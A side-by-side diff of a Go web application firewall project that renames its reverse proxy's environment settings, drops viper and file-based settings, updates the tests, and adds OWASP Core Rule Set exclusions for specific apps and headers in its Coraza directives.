if len(held) != 1 || !reflect.DeepEqual(held[0], later) { if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
t.Errorf( t.Errorf("the ledger holds %+v, want only the ban that began later", held)
"the ledger holds %+v, want only the ban that began later",
held,
)
} }
} }
@@ -304,25 +256,16 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
// bans.json is taken in, that ban is lifted. // bans.json is taken in, that ban is lifted.
ledger.Load([]bans.Ban{kept}) ledger.Load([]bans.Ban{kept})
_, banned, _ := ledger.Check( _, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
netip.MustParseAddr("203.0.113.9"),
midnight(),
)
if banned { if banned {
t.Error("a ban left out of the second load still refuses") t.Error("a ban left out of the second load still refuses")
} }
// The ledger holds one ban, so it makes two more without dropping any. // The ledger holds one ban, so it makes two more without dropping any.
first, _ := ledger.BanForLimit( first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
netip.MustParsePrefix("198.51.100.7/32"), bans.Notes{})
midnight(), second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
bans.Notes{}, bans.Notes{})
)
second, _ := ledger.BanForLimit(
netip.MustParsePrefix("198.51.100.8/32"),
midnight(),
bans.Notes{},
)
want := []bans.Ban{first, second, kept} want := []bans.Ban{first, second, kept}
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) { if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
+2335 -34
View File
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
-16
View File
@@ -1,16 +0,0 @@
// Package configtest gives the tests of the packages that read settings the
// settings they choose.
package configtest
import "github.com/spf13/viper"
// Viper returns a viper holding each of settings, as the viper config.NewViper
// returns holds a process's environment.
func Viper(settings map[string]string) *viper.Viper {
v := viper.New()
for name, value := range settings {
v.Set(name, value)
}
return v
}
+58 -117
View File
@@ -8,41 +8,38 @@ import (
"net/netip" "net/netip"
"net/url" "net/url"
"strconv" "strconv"
"strings"
"time" "time"
"github.com/spf13/viper"
) )
// RProxy is the settings of `sww rproxy`. A size or time limit of zero // RProxy is the settings of `sww rproxy`. A size or time limit of zero
// is off. // is off.
type RProxy struct { type RProxy struct {
// ListenAddr is where rproxy listens (SWW_RPROXY_LISTEN_ADDR). // ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
ListenAddr string ListenAddr string
// UpstreamURL is the app (SWW_RPROXY_UPSTREAM_URL). // UpstreamURL is the app (SWRP_UPSTREAM_URL).
UpstreamURL *url.URL UpstreamURL *url.URL
// TrustedProxies are the netblocks whose X-Forwarded-For is believed // TrustedProxies are the netblocks whose X-Forwarded-For is believed
// (SWW_RPROXY_TRUSTED_PROXIES). // (SWRP_TRUSTED_PROXIES).
TrustedProxies []netip.Prefix TrustedProxies []netip.Prefix
// WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND). // WAFBackend is discriminator's URL (SWRP_WAF_BACKEND).
WAFBackend *url.URL WAFBackend *url.URL
// WAFBackendTimeout is how long rproxy waits for waf's answer to a // Timeout is how long rproxy waits for discriminator's answer to a question,
// question, and to a report (SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS). It // and to a report (SWRP_TIMEOUT_MS). It cannot be off.
// cannot be off. Timeout time.Duration
WAFBackendTimeout time.Duration // DefaultDisposition is what is done with a request when discriminator cannot be
// WAFBackendNoAnswerDisposition is what is done with a request when waf // connected to, does not answer at all, or does not answer within Timeout:
// cannot be connected to, does not answer at all, or does not answer // allow or deny (SWRP_DEFAULT_DISPOSITION).
// within WAFBackendTimeout: allow or deny DefaultDisposition string
// (SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION). // MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and
WAFBackendNoAnswerDisposition string // MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE).
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
MaxRequestSize int64 MaxRequestSize int64
MaxResponseSize int64 MaxResponseSize int64
// MaxRequestTime bounds sending the whole request: the visitor's request // MaxRequestTime bounds sending the whole request: the visitor's request
// line and headers, and then, from their end, its body on its way to the // line and headers, and then, from their end, its body on its way to the
// app (SWW_RPROXY_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from // app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
// the end of the request to its last byte reaching the visitor // the end of the request to its last byte reaching the visitor
// (SWW_RPROXY_MAX_RESPONSE_TIME_MS). // (SWRP_MAX_RESPONSE_TIME_MS).
MaxRequestTime time.Duration MaxRequestTime time.Duration
MaxResponseTime time.Duration MaxResponseTime time.Duration
@@ -51,64 +48,34 @@ type RProxy struct {
settings []slog.Attr settings []slog.Attr
} }
// defaultUpstreamURL is the default of SWW_RPROXY_UPSTREAM_URL.
const defaultUpstreamURL = "http://127.0.0.1:8081"
// privateRanges are the private address ranges, the default trusted
// proxies.
const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
var ( var (
errNotUpstreamURL = errors.New(
"is not a URL with only a scheme, a host and an optional port, " +
"such as http://127.0.0.1:8081")
errNeedsWAFBackend = errors.New( errNeedsWAFBackend = errors.New(
"is required: it is waf's URL, such as http://waf:8080") "is required: it is discriminator's URL, such as http://discriminator:8080")
errNotDisposition = errors.New("is not allow or deny") errNotDisposition = errors.New("is not allow or deny")
errNotMilliseconds = errors.New( errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000") "is not a whole number of milliseconds above zero, such as 2000")
errNotMillisecondsOrOff = errors.New( errNotMillisecondsOrOff = errors.New(
"is not a whole number of milliseconds above zero, such as 60000, or off", "is not a whole number of milliseconds above zero, such as 60000, or off")
)
) )
// RProxyFromEnvironment reads rproxy's settings through v, normally the viper // RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
// NewViper returns, bound to the process's environment. A setting that is not // os.LookupEnv. A setting that is not set takes its default, and
// set takes its default, and SWW_RPROXY_WAF_BACKEND, which has none, must be // SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
// set. A setting may instead be given as a file: the variable named by the // invalid is an error that names it. Since rproxy never touches disk, its
// setting's name with _FILE added names the file, which is read now. A setting // settings have no _FILE form.
// that is set but invalid is an error that names it. func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) { env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
env := &environment{v: v}
cfg := &RProxy{ cfg := &RProxy{
ListenAddr: env.address("SWW_RPROXY_LISTEN_ADDR"), ListenAddr: env.address("SWRP_LISTEN_ADDR"),
UpstreamURL: env.appURL( UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
"SWW_RPROXY_UPSTREAM_URL", TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
defaultUpstreamURL, WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
), Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
TrustedProxies: env.netblocks( DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
"SWW_RPROXY_TRUSTED_PROXIES", MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
privateRanges, MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
), MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"), MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
WAFBackendTimeout: env.milliseconds(
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS",
"2000",
),
WAFBackendNoAnswerDisposition: env.disposition(
"SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION",
"allow",
),
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
MaxResponseSize: env.size("SWW_RPROXY_MAX_RESPONSE_SIZE", "1G"),
MaxRequestTime: env.millisecondsOrOff(
"SWW_RPROXY_MAX_REQUEST_TIME_MS",
"60000",
),
MaxResponseTime: env.millisecondsOrOff(
"SWW_RPROXY_MAX_RESPONSE_TIME_MS",
"1800000",
),
} }
if env.err != nil { if env.err != nil {
@@ -120,15 +87,15 @@ func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
return cfg, nil return cfg, nil
} }
// RProxyListenAddrAndUpstreamURL reads only SWW_RPROXY_LISTEN_ADDR and // RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and
// SWW_RPROXY_UPSTREAM_URL. The health check in rproxy's container needs no other // SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other
// setting, so it reads no other. // setting, so it reads no other.
func RProxyListenAddrAndUpstreamURL( func RProxyListenAddrAndUpstreamURL(
v *viper.Viper, lookupEnv func(string) (string, bool),
) (string, *url.URL, error) { ) (string, *url.URL, error) {
env := &environment{v: v} env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
listenAddr := env.address("SWW_RPROXY_LISTEN_ADDR") listenAddr := env.address("SWRP_LISTEN_ADDR")
upstreamURL := env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL) upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL)
if env.err != nil { if env.err != nil {
return "", nil, env.err return "", nil, env.err
@@ -137,21 +104,27 @@ func RProxyListenAddrAndUpstreamURL(
return listenAddr, upstreamURL, nil return listenAddr, upstreamURL, nil
} }
// withoutFileForms returns lookupEnv finding no setting named with _FILE, since
// rproxy never touches disk.
func withoutFileForms(
lookupEnv func(string) (string, bool),
) func(string) (string, bool) {
return func(name string) (string, bool) {
if strings.HasSuffix(name, "_FILE") {
return "", false
}
return lookupEnv(name)
}
}
// LogValue makes an RProxy log as each setting's name with the value it was // LogValue makes an RProxy log as each setting's name with the value it was
// given, or its default. // given, or its default.
func (c *RProxy) LogValue() slog.Value { func (c *RProxy) LogValue() slog.Value {
return slog.GroupValue(c.settings...) return slog.GroupValue(c.settings...)
} }
// appURL reads a setting that is the app's URL. // wafBackend reads the setting that is discriminator's URL, which must be set.
func (e *environment) appURL(name, defaultValue string) *url.URL {
upstream, err := parseUpstreamURL(e.value(name, defaultValue))
e.check(name, err)
return upstream
}
// wafBackend reads the setting that is waf's URL, which must be set.
func (e *environment) wafBackend(name string) *url.URL { func (e *environment) wafBackend(name string) *url.URL {
value := e.value(name, "") value := e.value(name, "")
if value == "" { if value == "" {
@@ -166,7 +139,7 @@ func (e *environment) wafBackend(name string) *url.URL {
return backend return backend
} }
// disposition reads the setting that is what is done with a request when waf // disposition reads the setting that is what is done with a request when discriminator
// cannot be connected to, does not answer at all, or does not answer in time: // cannot be connected to, does not answer at all, or does not answer in time:
// allow or deny. // allow or deny.
func (e *environment) disposition(name, defaultValue string) string { func (e *environment) disposition(name, defaultValue string) string {
@@ -193,9 +166,7 @@ func (e *environment) milliseconds(name, defaultValue string) time.Duration {
// millisecondsOrOff reads a setting that is a whole number of milliseconds // millisecondsOrOff reads a setting that is a whole number of milliseconds
// above zero, or off, which is 0. // above zero, or off, which is 0.
func (e *environment) millisecondsOrOff( func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
name, defaultValue string,
) time.Duration {
value := e.value(name, defaultValue) value := e.value(name, defaultValue)
if value == off { if value == off {
return 0 return 0
@@ -219,33 +190,3 @@ func parseMilliseconds(value string) (time.Duration, bool) {
return time.Duration(n) * time.Millisecond, true return time.Duration(n) * time.Millisecond, true
} }
// parseUpstreamURL reads the app's URL: http or https, a host and an
// optional port from 1 to 65535, and nothing else, since the request's
// own path and query go to the app unchanged.
func parseUpstreamURL(value string) (*url.URL, error) {
upstream, err := url.Parse(value)
if err != nil {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
upstream.Hostname() != "" &&
upstream.User == nil &&
upstream.Opaque == "" &&
(upstream.Path == "" || upstream.Path == "/") &&
upstream.RawQuery == "" &&
upstream.Fragment == ""
if !onlySchemeAndHost {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
if upstream.Port() != "" {
port, err := strconv.ParseUint(upstream.Port(), 10, 16)
if err != nil || port == 0 {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
}
return upstream, nil
}
+50 -77
View File
@@ -10,30 +10,33 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
) )
// rproxy's settings, by name, and their values in these tests. // rproxy's settings, by name, and their values in these tests.
const ( const (
wafBackend = "SWW_RPROXY_WAF_BACKEND" wafBackend = "SWRP_WAF_BACKEND"
rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS" rproxyTimeout = "SWRP_TIMEOUT_MS"
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION" rproxyDefault = "SWRP_DEFAULT_DISPOSITION"
rproxyListen = "SWW_RPROXY_LISTEN_ADDR" rproxyListen = "SWRP_LISTEN_ADDR"
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL" rproxyUpstream = "SWRP_UPSTREAM_URL"
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES" rproxyTrusted = "SWRP_TRUSTED_PROXIES"
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE" rproxyMaxRequest = "SWRP_MAX_REQUEST_SIZE"
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE" rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS" rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS" rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
backendURL = "http://waf:8080" backendURL = "http://discriminator:8080"
rproxyNoAnswerAddr = ":8080" rproxyDefaultAddr = ":8080"
rproxyNoAnswerApp = "http://127.0.0.1:8081" rproxyDefaultApp = "http://127.0.0.1:8081"
notASize = "a lot" notASize = "a lot"
) )
// rproxyConfig reads rproxy's settings from env. // rproxyConfig reads rproxy's settings from env.
func rproxyConfig(env map[string]string) (*config.RProxy, error) { func rproxyConfig(env map[string]string) (*config.RProxy, error) {
return config.RProxyFromEnvironment(configtest.Viper(env)) return config.RProxyFromEnvironment(func(name string) (string, bool) {
value, ok := env[name]
return value, ok
})
} }
func TestRProxyDefaults(t *testing.T) { func TestRProxyDefaults(t *testing.T) {
@@ -44,32 +47,21 @@ func TestRProxyDefaults(t *testing.T) {
t.Fatalf("settings: %v", err) t.Fatalf("settings: %v", err)
} }
if cfg.ListenAddr != rproxyNoAnswerAddr || if cfg.ListenAddr != rproxyDefaultAddr ||
cfg.UpstreamURL.String() != rproxyNoAnswerApp || cfg.UpstreamURL.String() != rproxyDefaultApp ||
cfg.WAFBackend.String() != backendURL { cfg.WAFBackend.String() != backendURL {
t.Errorf( t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
"addresses %q, %v, %v",
cfg.ListenAddr,
cfg.UpstreamURL,
cfg.WAFBackend,
)
} }
if cfg.WAFBackendTimeout != 2*time.Second || if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
cfg.WAFBackendNoAnswerDisposition != "allow" { t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
t.Errorf(
"waf backend timeout %v, no-answer disposition %q",
cfg.WAFBackendTimeout,
cfg.WAFBackendNoAnswerDisposition,
)
} }
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 { if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize) t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
} }
if cfg.MaxRequestTime != time.Minute || if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
cfg.MaxResponseTime != 30*time.Minute {
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime) t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
} }
@@ -92,7 +84,7 @@ func TestRProxySettingsAreRead(t *testing.T) {
rproxyUpstream: "http://app:3000", rproxyUpstream: "http://app:3000",
rproxyTrusted: "192.0.2.0/24", rproxyTrusted: "192.0.2.0/24",
rproxyTimeout: "150", rproxyTimeout: "150",
rproxyNoAnswer: "deny", rproxyDefault: "deny",
rproxyMaxRequest: "1K", rproxyMaxRequest: "1K",
rproxyMaxResponse: off, rproxyMaxResponse: off,
rproxyRequestTime: off, rproxyRequestTime: off,
@@ -108,12 +100,9 @@ func TestRProxySettingsAreRead(t *testing.T) {
t.Errorf("addresses %+v", cfg) t.Errorf("addresses %+v", cfg)
} }
if cfg.WAFBackendTimeout != 150*time.Millisecond || if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
cfg.WAFBackendNoAnswerDisposition != "deny" || cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
cfg.MaxRequestSize != 1024 || cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
cfg.MaxResponseSize != 0 ||
cfg.MaxRequestTime != 0 ||
cfg.MaxResponseTime != 250*time.Millisecond {
t.Errorf("limits %+v", cfg) t.Errorf("limits %+v", cfg)
} }
} }
@@ -125,15 +114,15 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
name, value string name, value string
}{ }{
{wafBackend, ""}, {wafBackend, ""},
{wafBackend, "waf:8080"}, {wafBackend, "discriminator:8080"},
{wafBackend, "http://waf:8080/path"}, {wafBackend, "http://discriminator:8080/path"},
{rproxyTimeout, "0"}, {rproxyTimeout, "0"},
{rproxyTimeout, "-1"}, {rproxyTimeout, "-1"},
{rproxyTimeout, off}, {rproxyTimeout, off},
{rproxyTimeout, "2s"}, {rproxyTimeout, "2s"},
{rproxyTimeout, "1.25"}, {rproxyTimeout, "1.25"},
{rproxyTimeout, "99999999999999999"}, {rproxyTimeout, "99999999999999999"},
{rproxyNoAnswer, "maybe"}, {rproxyDefault, "maybe"},
{rproxyListen, "8080"}, {rproxyListen, "8080"},
{rproxyUpstream, "app"}, {rproxyUpstream, "app"},
{rproxyUpstream, "127.0.0.1:8081"}, {rproxyUpstream, "127.0.0.1:8081"},
@@ -158,9 +147,7 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel() t.Parallel()
_, err := rproxyConfig( _, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
map[string]string{wafBackend: backendURL, tc.name: tc.value},
)
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") { if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
t.Errorf("error %v, want one naming %s", err, tc.name) t.Errorf("error %v, want one naming %s", err, tc.name)
} }
@@ -171,9 +158,7 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) { func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
t.Parallel() t.Parallel()
cfg, err := rproxyConfig( cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
map[string]string{wafBackend: backendURL, rproxyTrusted: ""},
)
if err != nil { if err != nil {
t.Fatalf("settings: %v", err) t.Fatalf("settings: %v", err)
} }
@@ -187,47 +172,36 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
t.Parallel() t.Parallel()
_, err := rproxyConfig(nil) _, err := rproxyConfig(nil)
if err == nil || if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want one saying %s is required", err, wafBackend) t.Errorf("error %v, want one saying %s is required", err, wafBackend)
} }
} }
func TestRProxySettingReadFromFile(t *testing.T) { func TestRProxyReadsNoFile(t *testing.T) {
t.Parallel() t.Parallel()
path := filepath.Join(t.TempDir(), "backend") path := filepath.Join(t.TempDir(), "backend")
err := os.WriteFile(path, []byte(backendURL+"\n"), 0o600) err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600)
if err != nil { if err != nil {
t.Fatalf("write: %v", err) t.Fatalf("write: %v", err)
} }
cfg, err := rproxyConfig(map[string]string{wafBackend + "_FILE": path}) _, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want %s still required", err, wafBackend)
}
cfg, err := rproxyConfig(map[string]string{
wafBackend: backendURL,
rproxyTimeout + "_FILE": "/nonexistent/timeout",
})
if err != nil { if err != nil {
t.Fatalf("settings: %v", err) t.Fatalf("settings: %v, with the file left unread", err)
} }
if cfg.WAFBackend.String() != backendURL { if cfg.Timeout != 2*time.Second {
t.Errorf("backend %v, want %s", cfg.WAFBackend, backendURL) t.Errorf("timeout %v, want the default", cfg.Timeout)
}
}
func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
t.Parallel()
dir := t.TempDir()
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
_, err := rproxyConfig(map[string]string{
wafBackend: backendURL,
rproxyTimeout + "_FILE": path,
})
want := rproxyTimeout + "_FILE: cannot be read: "
if err == nil || !strings.HasPrefix(err.Error(), want) {
t.Errorf("%s: error %v, want one starting %s", path, err, want)
}
} }
} }
@@ -247,8 +221,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
} }
for _, name := range []string{ for _, name := range []string{
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
rproxyNoAnswer,
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime, rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
} { } {
if !slices.Contains(names, name) { if !slices.Contains(names, name) {
-16
View File
@@ -1,16 +0,0 @@
package config
import "github.com/spf13/viper"
// NewViper returns the viper that reads the settings: each setting's
// environment variable, bound to its own name. Every setting of waf
// and rproxy is read through it, and none is read with os.Getenv or
// os.LookupEnv outside it. An environment variable that is set but empty is
// set, as one that holds a value is, which viper does not take for granted.
func NewViper() *viper.Viper {
v := viper.New()
v.AutomaticEnv()
v.AllowEmptyEnv(true)
return v
}
-34
View File
@@ -1,34 +0,0 @@
package config_test
import (
"testing"
"sneak.berlin/go/smallwebwaf/internal/config"
)
// These tests set real environment variables, so none runs in parallel.
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
t.Setenv(adminToken, "")
_, err := config.WAFFromEnvironment(config.NewViper())
want := adminToken + ": is shorter than 32 characters"
if err == nil || err.Error() != want {
t.Fatalf("error %v, want %s", err, want)
}
}
func TestListSetEmptyInTheEnvironmentReplacesItsDefault(t *testing.T) {
t.Setenv(wafBackend, backendURL)
t.Setenv(rproxyTrusted, "")
cfg, err := config.RProxyFromEnvironment(config.NewViper())
if err != nil {
t.Fatalf("settings: %v", err)
}
if len(cfg.TrustedProxies) != 0 {
t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
}
}
File diff suppressed because it is too large. Load diff
+153 -195
View File
@@ -1,9 +1,9 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its // method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, with the // body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
// five changes sww makes to it, the fixes for the apps SWW_WAF_APPS names, // makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack // "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// detection" under "Settings" in SPEC.md describes them. It reads no response. // response.
// //
// sww writes only to its state directory, so Coraza is built with // sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a // its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -16,8 +16,6 @@ import (
"errors" "errors"
"fmt" "fmt"
"io" "io"
"maps"
"net"
"net/http" "net/http"
"net/netip" "net/netip"
"os" "os"
@@ -34,16 +32,19 @@ import (
// directives are the Core Rule Set as sww runs it, with the // directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while // paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, the exclusions file for // SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// the second, and the directives of every app in apps for the third. // giteaExclusions for the third, wordpressExclusions for the fourth,
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
// and nextcloudExclusions for the ninth.
// Each rule sww adds has an id from 900000 to 900999, the ids the // Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which // Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no // SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
// setting switches one off. Coraza joins a line ending in \ to the next, // setting switches one off. Coraza joins a line ending in \ to the next,
// without the spaces at the start of the next. // without the spaces at the start of the next.
const directives = ` const directives = `
# The engine only detects. sww compares the request's anomaly # The engine only detects. sww compares the request's anomaly
# score with SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD itself, in block and detect mode # score with SWW_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on. # alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly SecRuleEngine DetectionOnly
SecRequestBodyAccess Off SecRequestBodyAccess Off
@@ -83,24 +84,67 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# before the rules of phase 1 too. # before the rules of phase 1 too.
%s %s
# The apps' fixes come before the rules for the same reason. # The eighth change comes before the rules for the same reason.
%s %s
# The fifth: only the rules for requests are loaded, and no response is # The ninth change comes before the rules for the same reason.
%s
# So does the tenth.
%s
# So does the eleventh.
%s
# So does the twelfth.
%s
# So does the thirteenth.
%s
# And the fourteenth.
%s
# The sixth: only the rules for requests are loaded, and no response is
# inspected. # inspected.
Include @owasp_crs/REQUEST-*.conf Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or # The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here without regard to case. # localhost. Coraza matches a parameter name here, and in the fourth,
# ARGS holds the fields of a form data or multipart body Coraza reads as # without regard to case. ARGS holds the fields of a form data or multipart
# well as the query parameters, so a field of this name is left out too. # body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri" SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri" SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: Referer is not checked for a Unix command without arguments # The fourth: the query parameters in which gitea sends names within a
# or for Java starting a process. # repository or its own records, or a page of its own site, are not
# checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, for Java starting a process, or for a Java class name. 944130
# refused every page opened from the page of java.lang.String.md. The
# cookies are left out in Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
# The seventh: a container image push that reuses a layer names the image
# it takes the layer from in the query parameter from, which is not
# checked for command names. 932260 refused the push of a layer from
# owner/python3-app.
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
